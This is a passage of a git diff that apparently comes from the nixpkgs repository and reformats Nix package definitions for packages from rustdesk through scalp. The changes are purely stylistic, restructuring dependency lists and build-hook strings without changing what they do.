   passthru.tests = {
     inherit
diff --git a/pkgs/by-name/ru/rustdesk/package.nix b/pkgs/by-name/ru/rustdesk/package.nix
index d7da3b26e7d3..201caebeca8d 100644
--- a/pkgs/by-name/ru/rustdesk/package.nix
+++ b/pkgs/by-name/ru/rustdesk/package.nix
@@ -118,36 +118,35 @@ rustPlatform.buildRustPackage (finalAttrs: {
   # Checks require an active X server
   doCheck = false;
 
-  buildInputs =
-    [
-      atk
-      bzip2
-      cairo
-      dbus
-      gdk-pixbuf
-      glib
-      gst_all_1.gst-plugins-base
-      gst_all_1.gstreamer
-      gtk3
-      libgit2
-      libpulseaudio
-      libsodium
-      libXtst
-      libvpx
-      libyuv
-      libopus
-      libaom
-      libxkbcommon
-      pam
-      pango
-      zlib
-      zstd
-    ]
+  buildInputs = [
+    atk
+    bzip2
+    cairo
+    dbus
+    gdk-pixbuf
+    glib
+    gst_all_1.gst-plugins-base
+    gst_all_1.gstreamer
+    gtk3
+    libgit2
+    libpulseaudio
+    libsodium
+    libXtst
+    libvpx
+    libyuv
+    libopus
+    libaom
+    libxkbcommon
+    pam
+    pango
+    zlib
+    zstd
+  ]
 
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      xdotool
-    ];
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    xdotool
+  ];
 
   # Add static ui resources and libsciter to same folder as binary so that it
   # can find them.
diff --git a/pkgs/by-name/ru/rusty-psn/package.nix b/pkgs/by-name/ru/rusty-psn/package.nix
index 1c9c03a91c09..edca07c5e911 100644
--- a/pkgs/by-name/ru/rusty-psn/package.nix
+++ b/pkgs/by-name/ru/rusty-psn/package.nix
@@ -35,46 +35,43 @@ rustPlatform.buildRustPackage rec {
   # Tests require network access
   doCheck = false;
 
-  nativeBuildInputs =
-    [
-      pkg-config
-    ]
-    ++ lib.optionals withGui [
-      copyDesktopItems
-      cmake
-    ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optionals withGui [
+    copyDesktopItems
+    cmake
+  ];
 
-  buildInputs =
-    [
-      openssl
-    ]
-    ++ lib.optionals withGui [
-      fontconfig
-      glib
-      gtk3
-      freetype
-      openssl
-      xorg.libxcb
-      xorg.libX11
-      xorg.libXcursor
-      xorg.libXrandr
-      xorg.libXi
-      xorg.libxcb
-      libGL
-      libxkbcommon
-      wayland
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals withGui [
+    fontconfig
+    glib
+    gtk3
+    freetype
+    openssl
+    xorg.libxcb
+    xorg.libX11
+    xorg.libXcursor
+    xorg.libXrandr
+    xorg.libXi
+    xorg.libxcb
+    libGL
+    libxkbcommon
+    wayland
+  ];
 
   buildNoDefaultFeatures = true;
   buildFeatures = [ (if withGui then "egui" else "cli") ];
 
-  postFixup =
-    ''
-      patchelf --set-rpath "${lib.makeLibraryPath buildInputs}" $out/bin/rusty-psn
-    ''
-    + lib.optionalString withGui ''
-      mv $out/bin/rusty-psn $out/bin/rusty-psn-gui
-    '';
+  postFixup = ''
+    patchelf --set-rpath "${lib.makeLibraryPath buildInputs}" $out/bin/rusty-psn
+  ''
+  + lib.optionalString withGui ''
+    mv $out/bin/rusty-psn $out/bin/rusty-psn-gui
+  '';
 
   desktopItem = lib.optionalString withGui (makeDesktopItem {
     name = "rusty-psn";
diff --git a/pkgs/by-name/ru/rutabaga_gfx/package.nix b/pkgs/by-name/ru/rutabaga_gfx/package.nix
index 431b60f173f9..71fbfd736901 100644
--- a/pkgs/by-name/ru/rutabaga_gfx/package.nix
+++ b/pkgs/by-name/ru/rutabaga_gfx/package.nix
@@ -54,17 +54,18 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
     rustPlatform.cargoSetupHook
   ];
-  buildInputs =
-    [ libiconv ]
-    ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform gfxstream) (
-      [
-        aemu
-        gfxstream
-      ]
-      ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform libdrm) [
-        libdrm
-      ]
-    );
+  buildInputs = [
+    libiconv
+  ]
+  ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform gfxstream) (
+    [
+      aemu
+      gfxstream
+    ]
+    ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform libdrm) [
+      libdrm
+    ]
+  );
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit (finalAttrs) src;
diff --git a/pkgs/by-name/rv/rvvm/package.nix b/pkgs/by-name/rv/rvvm/package.nix
index 2625cd3f5e5a..d57267485766 100644
--- a/pkgs/by-name/rv/rvvm/package.nix
+++ b/pkgs/by-name/rv/rvvm/package.nix
@@ -50,10 +50,11 @@ stdenv.mkDerivation rec {
     "lib"
   ];
 
-  makeFlags =
-    [ "PREFIX=$(out)" ]
-    ++ lib.optional enableSDL "USE_SDL=2" # Use SDL2 instead of SDL1
-    ++ lib.optional (!enableSDL && !enableX11) "USE_FB=0";
+  makeFlags = [
+    "PREFIX=$(out)"
+  ]
+  ++ lib.optional enableSDL "USE_SDL=2" # Use SDL2 instead of SDL1
+  ++ lib.optional (!enableSDL && !enableX11) "USE_FB=0";
 
   meta = with lib; {
     homepage = "https://github.com/LekKit/RVVM";
diff --git a/pkgs/by-name/ry/rygel/package.nix b/pkgs/by-name/ry/rygel/package.nix
index 67a9b43c8305..ee3bb60d9310 100644
--- a/pkgs/by-name/ry/rygel/package.nix
+++ b/pkgs/by-name/ry/rygel/package.nix
@@ -69,36 +69,35 @@ stdenv.mkDerivation (finalAttrs: {
     python3
   ];
 
-  buildInputs =
-    [
-      gdk-pixbuf
-      glib
-      gssdp_1_6
-      gupnp_1_6
-      gupnp-av
-      gupnp-dlna
-      libgee
-      libsoup_3
-      libmediaart
-      pipewire
-      # Move this to withGtk when it's not unconditionally included
-      # https://gitlab.gnome.org/GNOME/rygel/-/issues/221
-      # https://gitlab.gnome.org/GNOME/rygel/-/merge_requests/27
-      libX11
-      sqlite
-      systemd
-      tinysparql
-      shared-mime-info
-    ]
-    ++ lib.optionals withGtk [ gtk3 ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-editing-services
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-      gst-plugins-ugly
-    ]);
+  buildInputs = [
+    gdk-pixbuf
+    glib
+    gssdp_1_6
+    gupnp_1_6
+    gupnp-av
+    gupnp-dlna
+    libgee
+    libsoup_3
+    libmediaart
+    pipewire
+    # Move this to withGtk when it's not unconditionally included
+    # https://gitlab.gnome.org/GNOME/rygel/-/issues/221
+    # https://gitlab.gnome.org/GNOME/rygel/-/merge_requests/27
+    libX11
+    sqlite
+    systemd
+    tinysparql
+    shared-mime-info
+  ]
+  ++ lib.optionals withGtk [ gtk3 ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-editing-services
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+    gst-plugins-ugly
+  ]);
 
   mesonFlags = [
     "-Dsystemd-user-units-dir=${placeholder "out"}/lib/systemd/user"
diff --git a/pkgs/by-name/ry/ryubing/package.nix b/pkgs/by-name/ry/ryubing/package.nix
index a3f1951ef483..694d88a5aaa2 100644
--- a/pkgs/by-name/ry/ryubing/package.nix
+++ b/pkgs/by-name/ry/ryubing/package.nix
@@ -52,35 +52,34 @@ buildDotnetModule rec {
 
   nugetDeps = ./deps.json;
 
-  runtimeDeps =
-    [
-      libX11
-      libgdiplus
-      SDL2_mixer
-      openal
-      libsoundio
-      sndio
-      vulkan-loader
-      ffmpeg
+  runtimeDeps = [
+    libX11
+    libgdiplus
+    SDL2_mixer
+    openal
+    libsoundio
+    sndio
+    vulkan-loader
+    ffmpeg
 
-      # Avalonia UI
-      glew
-      libICE
-      libSM
-      libXcursor
-      libXext
-      libXi
-      libXrandr
+    # Avalonia UI
+    glew
+    libICE
+    libSM
+    libXcursor
+    libXext
+    libXi
+    libXrandr
 
-      # Headless executable
-      libGL
-      SDL2
-    ]
-    ++ lib.optional (!stdenv.hostPlatform.isDarwin) [
-      udev
-      pulseaudio
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin [ moltenvk ];
+    # Headless executable
+    libGL
+    SDL2
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) [
+    udev
+    pulseaudio
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin [ moltenvk ];
 
   projectFile = "Ryujinx.sln";
   testProjectFile = "src/Ryujinx.Tests/Ryujinx.Tests.csproj";
diff --git a/pkgs/by-name/s2/s2n-tls/package.nix b/pkgs/by-name/s2/s2n-tls/package.nix
index 51e84aaf2c3b..1289c3c7cf39 100644
--- a/pkgs/by-name/s2/s2n-tls/package.nix
+++ b/pkgs/by-name/s2/s2n-tls/package.nix
@@ -27,15 +27,14 @@ stdenv.mkDerivation rec {
 
   buildInputs = [ openssl ]; # s2n-config has find_dependency(LibCrypto).
 
-  cmakeFlags =
-    [
-      "-DBUILD_SHARED_LIBS=ON"
-      "-DUNSAFE_TREAT_WARNINGS_AS_ERRORS=OFF" # disable -Werror
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isMips64 [
-      # See https://github.com/aws/s2n-tls/issues/1592 and https://github.com/aws/s2n-tls/pull/1609
-      "-DS2N_NO_PQ=ON"
-    ];
+  cmakeFlags = [
+    "-DBUILD_SHARED_LIBS=ON"
+    "-DUNSAFE_TREAT_WARNINGS_AS_ERRORS=OFF" # disable -Werror
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMips64 [
+    # See https://github.com/aws/s2n-tls/issues/1592 and https://github.com/aws/s2n-tls/pull/1609
+    "-DS2N_NO_PQ=ON"
+  ];
 
   propagatedBuildInputs = [ openssl ]; # s2n-config has find_dependency(LibCrypto).
 
diff --git a/pkgs/by-name/sa/sacrifice/package.nix b/pkgs/by-name/sa/sacrifice/package.nix
index cfbc68f40747..62353e481ea7 100644
--- a/pkgs/by-name/sa/sacrifice/package.nix
+++ b/pkgs/by-name/sa/sacrifice/package.nix
@@ -31,13 +31,12 @@ stdenv.mkDerivation {
     ./pythia83xx.patch
   ];
 
-  preConfigure =
-    ''
-      substituteInPlace configure --replace HAVE_LCG=yes HAVE_LCG=no
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace configure --replace LIB_SUFFIX=\"so\" LIB_SUFFIX=\"dylib\"
-    '';
+  preConfigure = ''
+    substituteInPlace configure --replace HAVE_LCG=yes HAVE_LCG=no
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace configure --replace LIB_SUFFIX=\"so\" LIB_SUFFIX=\"dylib\"
+  '';
 
   configureFlags = [
     "--with-HepMC=${hepmc2}"
diff --git a/pkgs/by-name/sa/saga/package.nix b/pkgs/by-name/sa/saga/package.nix
index 321eeb33b522..57c69e69bce7 100644
--- a/pkgs/by-name/sa/saga/package.nix
+++ b/pkgs/by-name/sa/saga/package.nix
@@ -54,36 +54,36 @@ stdenv.mkDerivation rec {
     cmake
     wrapGAppsHook3
     pkg-config
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
 
-  buildInputs =
-    [
-      curl
-      libsForQt5.dxflib
-      fftw
-      libsvm
-      hdf5
-      gdal
-      wxGTK32
-      pdal
-      proj
-      libharu
-      opencv
-      vigra
-      libpq
-      libiodbc
-      xz
-      qhull
-      giflib
-    ]
-    # See https://groups.google.com/forum/#!topic/nix-devel/h_vSzEJAPXs
-    # for why the have additional buildInputs on darwin
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      unixODBC
-      poppler
-      netcdf
-      sqlite
-    ];
+  buildInputs = [
+    curl
+    libsForQt5.dxflib
+    fftw
+    libsvm
+    hdf5
+    gdal
+    wxGTK32
+    pdal
+    proj
+    libharu
+    opencv
+    vigra
+    libpq
+    libiodbc
+    xz
+    qhull
+    giflib
+  ]
+  # See https://groups.google.com/forum/#!topic/nix-devel/h_vSzEJAPXs
+  # for why the have additional buildInputs on darwin
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    unixODBC
+    poppler
+    netcdf
+    sqlite
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "OpenMP_SUPPORT" (!stdenv.hostPlatform.isDarwin))
diff --git a/pkgs/by-name/sa/sage/sage-env.nix b/pkgs/by-name/sa/sage/sage-env.nix
index a480159d34c2..c8cd3d5e52e8 100644
--- a/pkgs/by-name/sa/sage/sage-env.nix
+++ b/pkgs/by-name/sa/sage/sage-env.nix
@@ -102,108 +102,107 @@ in
 writeTextFile rec {
   name = "sage-env";
   destination = "/${name}";
-  text =
+  text = ''
+    export PKG_CONFIG_PATH='${
+      lib.makeSearchPathOutput "dev" "lib/pkgconfig" [
+        # This should only be needed during build. However, since the  doctests
+        # also test the cython build (for example in src/sage/misc/cython.py),
+        # it is also needed for the testsuite to pass. We could fix the
+        # testsuite instead, but since all the packages are also runtime
+        # dependencies it doesn't really hurt to include them here.
+        singular
+        blas
+        lapack
+        fflas-ffpack
+        givaro
+        gd
+        libpng
+        zlib
+        gsl
+        linbox
+        m4ri
+      ]
+    }'
+    export SAGE_ROOT='${sagelib.src}'
+  ''
+  +
+    # TODO: is using pythonEnv instead of @sage-local@ here a good
+    # idea? there is a test in src/sage/env.py that checks if the values
+    # SAGE_ROOT and SAGE_LOCAL set here match the ones set in env.py.
+    # we fix up env.py's SAGE_ROOT in sage-src.nix (which does not
+    # have access to sage-with-env), but env.py autodetects
+    # SAGE_LOCAL to be pythonEnv.
+    # setting SAGE_LOCAL to pythonEnv also avoids having to create
+    # python3, ipython, ipython3 and jupyter symlinks in
+    # sage-with-env.nix.
     ''
-      export PKG_CONFIG_PATH='${
-        lib.makeSearchPathOutput "dev" "lib/pkgconfig" [
-          # This should only be needed during build. However, since the  doctests
-          # also test the cython build (for example in src/sage/misc/cython.py),
-          # it is also needed for the testsuite to pass. We could fix the
-          # testsuite instead, but since all the packages are also runtime
-          # dependencies it doesn't really hurt to include them here.
-          singular
-          blas
-          lapack
-          fflas-ffpack
-          givaro
-          gd
-          libpng
-          zlib
-          gsl
-          linbox
-          m4ri
-        ]
-      }'
-      export SAGE_ROOT='${sagelib.src}'
-    ''
-    +
-      # TODO: is using pythonEnv instead of @sage-local@ here a good
-      # idea? there is a test in src/sage/env.py that checks if the values
-      # SAGE_ROOT and SAGE_LOCAL set here match the ones set in env.py.
-      # we fix up env.py's SAGE_ROOT in sage-src.nix (which does not
-      # have access to sage-with-env), but env.py autodetects
-      # SAGE_LOCAL to be pythonEnv.
-      # setting SAGE_LOCAL to pythonEnv also avoids having to create
-      # python3, ipython, ipython3 and jupyter symlinks in
-      # sage-with-env.nix.
-      ''
-          export SAGE_LOCAL='${pythonEnv}'
+        export SAGE_LOCAL='${pythonEnv}'
 
-          export SAGE_SHARE='${sagelib}/share'
-          export SAGE_ENV_CONFIG_SOURCED=1 # sage-env complains if sage-env-config is not sourced beforehand
-          orig_path="$PATH"
-          export PATH='${runtimepath}'
+        export SAGE_SHARE='${sagelib}/share'
+        export SAGE_ENV_CONFIG_SOURCED=1 # sage-env complains if sage-env-config is not sourced beforehand
+        orig_path="$PATH"
+        export PATH='${runtimepath}'
 
-          # set dependent vars, like JUPYTER_CONFIG_DIR
-          source "${sagelib.src}/src/bin/sage-env"
-          export PATH="$RUNTIMEPATH_PREFIX:${runtimepath}:$orig_path" # sage-env messes with PATH
+        # set dependent vars, like JUPYTER_CONFIG_DIR
+        source "${sagelib.src}/src/bin/sage-env"
+        export PATH="$RUNTIMEPATH_PREFIX:${runtimepath}:$orig_path" # sage-env messes with PATH
 
-          export SAGE_LOGS="$TMPDIR/sage-logs"
-          export SAGE_DOC="''${SAGE_DOC_OVERRIDE:-doc-placeholder}"
-          export SAGE_DOC_SRC="''${SAGE_DOC_SRC_OVERRIDE:-${sagelib.src}/src/doc}"
+        export SAGE_LOGS="$TMPDIR/sage-logs"
+        export SAGE_DOC="''${SAGE_DOC_OVERRIDE:-doc-placeholder}"
+        export SAGE_DOC_SRC="''${SAGE_DOC_SRC_OVERRIDE:-${sagelib.src}/src/doc}"
 
-          # set locations of dependencies
-          . ${env-locations}/sage-env-locations
+        # set locations of dependencies
+        . ${env-locations}/sage-env-locations
 
-          # needed for cython
-          export CC='${stdenv.cc}/bin/${stdenv.cc.targetPrefix}cc'
-          export CXX='${stdenv.cc}/bin/${stdenv.cc.targetPrefix}c++'
-          # cython needs to find these libraries, otherwise will fail with `ld: cannot find -lflint` or similar
-          export LDFLAGS='${
-            lib.concatStringsSep " " (
-              map (pkg: "-L${pkg}/lib") [
-                flint3
-                gap
-                glpk
-                gmp
-                mpfr
-                pari
-                zlib
-                eclib
-                gsl
-                ntl
-                sympow
-              ]
-            )
-          }'
-          export CFLAGS='${
-            lib.concatStringsSep " " (
-              map (pkg: "-isystem ${pkg}/include") [
-                singular
-                gmp.dev
-                glpk
-                flint3
-                gap
-                mpfr.dev
-              ]
-            )
-          }'
-          export CXXFLAGS=$CFLAGS
-
-          export SAGE_LIB='${sagelib}/${python3.sitePackages}'
-
-          export SAGE_EXTCODE='${sagelib.src}/src/sage/ext_data'
-
-        # for find_library
-          export DYLD_LIBRARY_PATH="${
-            lib.makeLibraryPath [
-              stdenv.cc.libc
-              singular
-              giac
+        # needed for cython
+        export CC='${stdenv.cc}/bin/${stdenv.cc.targetPrefix}cc'
+        export CXX='${stdenv.cc}/bin/${stdenv.cc.targetPrefix}c++'
+        # cython needs to find these libraries, otherwise will fail with `ld: cannot find -lflint` or similar
+        export LDFLAGS='${
+          lib.concatStringsSep " " (
+            map (pkg: "-L${pkg}/lib") [
+              flint3
               gap
+              glpk
+              gmp
+              mpfr
+              pari
+              zlib
+              eclib
+              gsl
+              ntl
+              sympow
             ]
-          }''${DYLD_LIBRARY_PATH:+:}$DYLD_LIBRARY_PATH"
-      '';
+          )
+        }'
+        export CFLAGS='${
+          lib.concatStringsSep " " (
+            map (pkg: "-isystem ${pkg}/include") [
+              singular
+              gmp.dev
+              glpk
+              flint3
+              gap
+              mpfr.dev
+            ]
+          )
+        }'
+        export CXXFLAGS=$CFLAGS
+
+        export SAGE_LIB='${sagelib}/${python3.sitePackages}'
+
+        export SAGE_EXTCODE='${sagelib.src}/src/sage/ext_data'
+
+      # for find_library
+        export DYLD_LIBRARY_PATH="${
+          lib.makeLibraryPath [
+            stdenv.cc.libc
+            singular
+            giac
+            gap
+          ]
+        }''${DYLD_LIBRARY_PATH:+:}$DYLD_LIBRARY_PATH"
+    '';
 }
 // {
   # equivalent of `passthru`, which `writeTextFile` doesn't support
diff --git a/pkgs/by-name/sa/sage/sage-src.nix b/pkgs/by-name/sa/sage/sage-src.nix
index 5cab886dbc58..f5d8bb5141cf 100644
--- a/pkgs/by-name/sa/sage/sage-src.nix
+++ b/pkgs/by-name/sa/sage/sage-src.nix
@@ -33,25 +33,24 @@ stdenv.mkDerivation rec {
 
   # Patches needed because of particularities of nix or the way this is packaged.
   # The goal is to upstream all of them and get rid of this list.
-  nixPatches =
-    [
-      # Parallelize docubuild using subprocesses, fixing an isolation issue. See
-      # https://groups.google.com/forum/#!topic/sage-packaging/YGOm8tkADrE
-      ./patches/sphinx-docbuild-subprocesses.patch
+  nixPatches = [
+    # Parallelize docubuild using subprocesses, fixing an isolation issue. See
+    # https://groups.google.com/forum/#!topic/sage-packaging/YGOm8tkADrE
+    ./patches/sphinx-docbuild-subprocesses.patch
 
-      # After updating smypow to (https://github.com/sagemath/sage/issues/3360)
-      # we can now set the cache dir to be within the .sage directory. This is
-      # not strictly necessary, but keeps us from littering in the user's HOME.
-      ./patches/sympow-cache.patch
-    ]
-    ++ lib.optionals (stdenv.cc.isClang) [
-      # https://github.com/NixOS/nixpkgs/pull/264126
-      # Dead links in python sysconfig cause LLVM linker warnings, leading to cython doctest failures.
-      ./patches/silence-linker.patch
+    # After updating smypow to (https://github.com/sagemath/sage/issues/3360)
+    # we can now set the cache dir to be within the .sage directory. This is
+    # not strictly necessary, but keeps us from littering in the user's HOME.
+    ./patches/sympow-cache.patch
+  ]
+  ++ lib.optionals (stdenv.cc.isClang) [
+    # https://github.com/NixOS/nixpkgs/pull/264126
+    # Dead links in python sysconfig cause LLVM linker warnings, leading to cython doctest failures.
+    ./patches/silence-linker.patch
 
-      # Stack overflows during doctests; this does not change functionality.
-      ./patches/disable-singular-doctest.patch
-    ];
+    # Stack overflows during doctests; this does not change functionality.
+    ./patches/disable-singular-doctest.patch
+  ];
 
   # Since sage unfortunately does not release bugfix releases, packagers must
   # fix those bugs themselves. This is for critical bugfixes, where "critical"
diff --git a/pkgs/by-name/sa/sage/sage.nix b/pkgs/by-name/sa/sage/sage.nix
index 3a1b20b9e87d..0f232414ccbc 100644
--- a/pkgs/by-name/sa/sage/sage.nix
+++ b/pkgs/by-name/sa/sage/sage.nix
@@ -44,20 +44,19 @@ stdenv.mkDerivation rec {
     "$out/bin/sage" -c 'browse_sage_doc._open("reference", testing=True)'
   '';
 
-  passthru =
-    {
-      tests = sage-tests;
-      quicktest = sage-tests.override {
-        longTests = false;
-        timeLimit = 600;
-      }; # as many tests as possible in ~10m
-      lib = sage-with-env.env.lib;
-      with-env = sage-with-env;
-      kernelspec = jupyter-kernel-definition;
-    }
-    // lib.optionalAttrs withDoc {
-      doc = sagedoc;
-    };
+  passthru = {
+    tests = sage-tests;
+    quicktest = sage-tests.override {
+      longTests = false;
+      timeLimit = 600;
+    }; # as many tests as possible in ~10m
+    lib = sage-with-env.env.lib;
+    with-env = sage-with-env;
+    kernelspec = jupyter-kernel-definition;
+  }
+  // lib.optionalAttrs withDoc {
+    doc = sagedoc;
+  };
 
   meta = with lib; {
     description = "Open Source Mathematics Software, free alternative to Magma, Maple, Mathematica, and Matlab";
diff --git a/pkgs/by-name/sa/sagittarius-scheme/package.nix b/pkgs/by-name/sa/sagittarius-scheme/package.nix
index c586a0f622e8..d464eb494a06 100644
--- a/pkgs/by-name/sa/sagittarius-scheme/package.nix
+++ b/pkgs/by-name/sa/sagittarius-scheme/package.nix
@@ -44,7 +44,8 @@ stdenv.mkDerivation rec {
     boehmgc
     openssl
     zlib
-  ] ++ lib.optional odbcSupport libiodbc;
+  ]
+  ++ lib.optional odbcSupport libiodbc;
 
   env.NIX_CFLAGS_COMPILE = toString (
     lib.optionals stdenv.hostPlatform.isDarwin [
diff --git a/pkgs/by-name/sa/salmon/package.nix b/pkgs/by-name/sa/salmon/package.nix
index fbe980cbdb6f..24e83dbcb680 100644
--- a/pkgs/by-name/sa/salmon/package.nix
+++ b/pkgs/by-name/sa/salmon/package.nix
@@ -58,7 +58,8 @@ stdenv.mkDerivation (finalAttrs: {
     tbb_2021_11
     xz
     zlib
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/by-name/sa/sapling/package.nix b/pkgs/by-name/sa/sapling/package.nix
index a44df071c8de..41b2fed6514c 100644
--- a/pkgs/by-name/sa/sapling/package.nix
+++ b/pkgs/by-name/sa/sapling/package.nix
@@ -113,17 +113,16 @@ python311Packages.buildPythonApplication {
       "serde_bser-0.4.0" = "sha256-Su1IP3NzQu/87p/+uQaG8JcICL9hit3OV1O9oFiACsQ=";
     };
   };
-  postPatch =
-    ''
-      cp ${./Cargo.lock} Cargo.lock
-    ''
-    + lib.optionalString (!enableMinimal) ''
-      # If asked, we optionally patch in a hardcoded path to the
-      # 'nodejs' package, so that 'sl web' always works. Without the
-      # patch, 'sl web' will still work if 'nodejs' is in $PATH.
-      substituteInPlace lib/config/loader/src/builtin_static/core.rs \
-        --replace '"#);' $'[web]\nnode-path=${nodejs}/bin/node\n"#);'
-    '';
+  postPatch = ''
+    cp ${./Cargo.lock} Cargo.lock
+  ''
+  + lib.optionalString (!enableMinimal) ''
+    # If asked, we optionally patch in a hardcoded path to the
+    # 'nodejs' package, so that 'sl web' always works. Without the
+    # patch, 'sl web' will still work if 'nodejs' is in $PATH.
+    substituteInPlace lib/config/loader/src/builtin_static/core.rs \
+      --replace '"#);' $'[web]\nnode-path=${nodejs}/bin/node\n"#);'
+  '';
 
   # Since the derivation builder doesn't have network access to remain pure,
   # fetch the artifacts manually and link them. Then replace the hardcoded URLs
@@ -153,14 +152,13 @@ python311Packages.buildPythonApplication {
     rustc
   ];
 
-  buildInputs =
-    [
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      curl
-      libiconv
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    curl
+    libiconv
+  ];
 
   HGNAME = "sl";
   SAPLING_OSS_BUILD = "true";
diff --git a/pkgs/by-name/sa/satysfi/package.nix b/pkgs/by-name/sa/satysfi/package.nix
index b2a393939a60..3d4d042c5e88 100644
--- a/pkgs/by-name/sa/satysfi/package.nix
+++ b/pkgs/by-name/sa/satysfi/package.nix
@@ -57,22 +57,21 @@ ocamlPackages.buildDunePackage {
     cppo
   ];
 
-  buildInputs =
-    [
-      camlpdf
-      yojson-with-position
-    ]
-    ++ (with ocamlPackages; [
-      menhirLib
-      batteries
-      camlimages
-      core_kernel
-      ppx_deriving
-      uutf
-      omd
-      re
-      otfed
-    ]);
+  buildInputs = [
+    camlpdf
+    yojson-with-position
+  ]
+  ++ (with ocamlPackages; [
+    menhirLib
+    batteries
+    camlimages
+    core_kernel
+    ppx_deriving
+    uutf
+    omd
+    re
+    otfed
+  ]);
 
   postInstall = ''
     mkdir -p $out/share/satysfi/dist/fonts
diff --git a/pkgs/by-name/sb/sbctl/package.nix b/pkgs/by-name/sb/sbctl/package.nix
index 8f971ca08294..878aba99e4cd 100644
--- a/pkgs/by-name/sb/sbctl/package.nix
+++ b/pkgs/by-name/sb/sbctl/package.nix
@@ -44,16 +44,15 @@ buildGoModule rec {
     "github.com/google/go-tpm-tools/.*"
   ];
 
-  postInstall =
-    ''
-      installManPage docs/sbctl.conf.5 docs/sbctl.8
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd sbctl \
-        --bash <($out/bin/sbctl completion bash) \
-        --fish <($out/bin/sbctl completion fish) \
-        --zsh <($out/bin/sbctl completion zsh)
-    '';
+  postInstall = ''
+    installManPage docs/sbctl.conf.5 docs/sbctl.8
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd sbctl \
+      --bash <($out/bin/sbctl completion bash) \
+      --fish <($out/bin/sbctl completion fish) \
+      --zsh <($out/bin/sbctl completion zsh)
+  '';
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/by-name/sc/sc-im/package.nix b/pkgs/by-name/sc/sc-im/package.nix
index 43bd526db987..dd52c6d0fe26 100644
--- a/pkgs/by-name/sc/sc-im/package.nix
+++ b/pkgs/by-name/sc/sc-im/package.nix
@@ -35,17 +35,16 @@ stdenv.mkDerivation rec {
     bison
   ];
 
-  buildInputs =
-    [
-      gnuplot
-      libxml2
-      libzip
-      ncurses
-    ]
-    ++ lib.optionals xlsSupport [
-      libxls
-      libxlsxwriter
-    ];
+  buildInputs = [
+    gnuplot
+    libxml2
+    libzip
+    ncurses
+  ]
+  ++ lib.optionals xlsSupport [
+    libxls
+    libxlsxwriter
+  ];
 
   makeFlags = [ "prefix=${placeholder "out"}" ];
 
diff --git a/pkgs/by-name/sc/scala-cli/package.nix b/pkgs/by-name/sc/scala-cli/package.nix
index e355ae64bf68..406670f00451 100644
--- a/pkgs/by-name/sc/scala-cli/package.nix
+++ b/pkgs/by-name/sc/scala-cli/package.nix
@@ -25,7 +25,8 @@ stdenv.mkDerivation {
   nativeBuildInputs = [
     installShellFiles
     makeWrapper
-  ] ++ lib.optional stdenv.hostPlatform.isLinux autoPatchelfHook;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux autoPatchelfHook;
   buildInputs =
     assert lib.assertMsg (lib.versionAtLeast jre.version "17.0.0") ''
       scala-cli requires Java 17 or newer, but ${jre.name} is ${jre.version}
diff --git a/pkgs/by-name/sc/scalp/package.nix b/pkgs/by-name/sc/scalp/package.nix
index fcd0ce58c24f..44adf8c0dd87 100644
--- a/pkgs/by-name/sc/scalp/package.nix
+++ b/pkgs/by-name/sc/scalp/package.nix
@@ -23,18 +23,17 @@ stdenv.mkDerivation rec {
     hash = "sha256-6OEf3yWFBmTKgeTMojRMRf/t9Ec1i851Lx3mQjCeOuw=";
   };
 
-  postPatch =
-    ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail "\''$ORIGIN" "\''${CMAKE_INSTALL_PREFIX}/lib" \
-        --replace-fail "-m64" ""
-      substituteInPlace src/tests/CMakeLists.txt \
-        --replace-fail "src/tests/" ""
-    ''
-    + lib.optionalString withGurobi ''
-      substituteInPlace CMakeExtensions/FindGurobi.cmake \
-        --replace-fail "\''${GUROBI_VERSION}" '"${lib.versions.major gurobi.version}${lib.versions.minor gurobi.version}"'
-    '';
+  postPatch = ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail "\''$ORIGIN" "\''${CMAKE_INSTALL_PREFIX}/lib" \
+      --replace-fail "-m64" ""
+    substituteInPlace src/tests/CMakeLists.txt \
+      --replace-fail "src/tests/" ""
+  ''
+  + lib.optionalString withGurobi ''
+    substituteInPlace CMakeExtensions/FindGurobi.cmake \
+      --replace-fail "\''${GUROBI_VERSION}" '"${lib.versions.major gurobi.version}${lib.versions.minor gurobi.version}"'
+  '';
 
   nativeBuildInputs = [
     cmake
